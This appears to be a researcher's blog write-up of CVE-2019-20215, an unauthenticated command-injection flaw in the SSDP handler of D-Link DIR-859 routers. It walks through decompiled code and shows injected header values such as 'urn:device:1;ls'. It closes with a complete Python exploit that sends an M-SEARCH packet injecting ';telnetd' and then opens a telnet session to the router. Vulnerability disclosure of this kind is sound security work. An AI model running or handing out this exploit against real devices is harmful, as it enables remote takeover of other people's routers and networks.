D-Link DIR-859 — UnAuthenticated RCE in ssdpcgi HTTP_ST (CVE-2019–20215)

Miguel Méndez Z.
4 min readJan 3, 2020

--

Researchers

  • Miguel Mendez Z. — (s1kr10s)
  • Pablo Pollanco — (secenv)

Technical Details

  • Model : DIR-859
  • Firmware Version: 1.06b01 Beta01, 1.05
  • Architecture: MIPS 32 bit

Vulnerability

  • Remote code execution (Unauthenticated, LAN)

Affected Products

Vulnerability analysis

The remote code execution vulnerability was found in the ssdpcgi() function, where a solution (patch) for the vulnerability had previously been implemented, but the vulnerability still persists because all the environment variables were not filtered correctly.

Next we will give a brief description about the new finding.

To start, we rewrite the code of the main function to a more readable one such as (c/c++), for a better understanding.

int ssdpcgi_main(int argc) {
char *HTTP_ST;
char *REMOTE_ADDR;
char *REMOTE_PORT;
char *SERVER_ID;
if (argc == 2) {
HTTP_ST = getenv("HTTP_ST");
REMOTE_ADDR = getenv("REMOTE_ADDR");
REMOTE_PORT = getenv("REMOTE_PORT");
SERVER_ID = getenv("SERVER_ID");
if ("SI LAS VARIABLE SON" == 0) {
break;
} else {
// PARCHE "strncmp()" ESTO FILTRA LA INYECCIÓN DE CÓDIGO
all = strncmp(HTTP_ST,"ssdp:all",8);
if (all == 0) {
format = "%s ssdpall %s:%s %s &";
} else {
uuid = strncmp(HTTP_ST,"uuid:",5);
if (uuid == 0) {
format = "%s uuid %s:%s %s %s &";
} else {
// VULNERABILIDAD
urn = strncmp(HTTP_ST,"urn:",4);
if (urn != 0) {
return 0;
}
device = strstr(HTTP_ST,":device:");
if (device == 0) {
format = strstr(HTTP_ST,":service:");
if (format == 0) {
return 0;
}
format = "%s services %s:%s %s %s &";
} else {
format = "%s devices %s:%s %s %s &";
}
lxmldbc_system(format,"/etc/scripts/upnp/M-SEARCH.sh",REMOTE_ADDR,REMOTE_PORT);
}
}

After analyzing the function, we need to complete the following steps to exploit the vulnerability.

  1. The value “urn:” must be sent in the ST variable, to reach other conditions and not execute the return.
  2. Check if one of the two string “device or service” is sent. With this we can already verify the existence of the vulnerability, since the strstr() function allows concatenating a command.
  3. The string is sent as an argument to lxmldbc_system().

Note: See libxmldbc library here.

/* call system() in printf() format. */
int lxmldbc_system(const char * format, …){
char cmd[MAX_CMD_LEN];
va_list marker;
va_start(marker, format);
vsnprintf(cmd, sizeof(cmd), format, marker);
va_end(marker);
return
system(cmd);
}

As we control the value of the HTTP_ST environment variable, we can concatenate commands before they are sent as an argument to the vsnprintf() function, to format the final command.

After returning, the formatted command is stored in the register $s0=buffer, which will be used as an argument for the system($s0) function.

Additionally we can observe the structure as it is finally in memory.

When we refer to structure to the format of the string with the injected command. We stand out where the injection exists.

s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:💉 &

s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:💉 &

These are the header values, which are sent in a request.

Debugging

Before proceeding with debugging, each variable must be adjusted with its value, which includes the injection of the command.

At the end of the execution we see that the injected commands were executed successfully.

IP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH”
URI="/"
HTTP_ST="urn:device:1;ls"
REMOTE_PORT="13"
SERVER_ID="1"
o tambiénIP="127.0.0.1"
PORT="1337"
METHOD=”M-SEARCH”
URI="/"
HTTP_ST="urn:service:1;ls"
REMOTE_PORT="13"
SERVER_ID="1"

s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:1;ls &

s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:1;ls &

Exploit

import sys
import os
import socket
from time import sleep
# Exploit By Miguel Mendez - @s1kr10s
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1\n"
header += "HOST:"+str(ip)+":"+str(port)+"\n"
header += "ST:urn:device:1;telnetd\n"
header += "MX:2\n"
header += 'MAN:"ssdp:discover"'+"\n\n"
return header
def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()
if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900
print("\n---= HEADER =---\n")
headers = config_payload(ip, port)
print("[+] Preparando Header ...")
print("[+] Enviando payload ...")
print("[+] Activando servicio telnetd :)")
send_conexion(ip, port, headers)
print("[+] Conectando al servicio ...\n")
sleep(5)
os.system('telnet ' + str(ip))

Video

Link to the advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147

By3…

--

--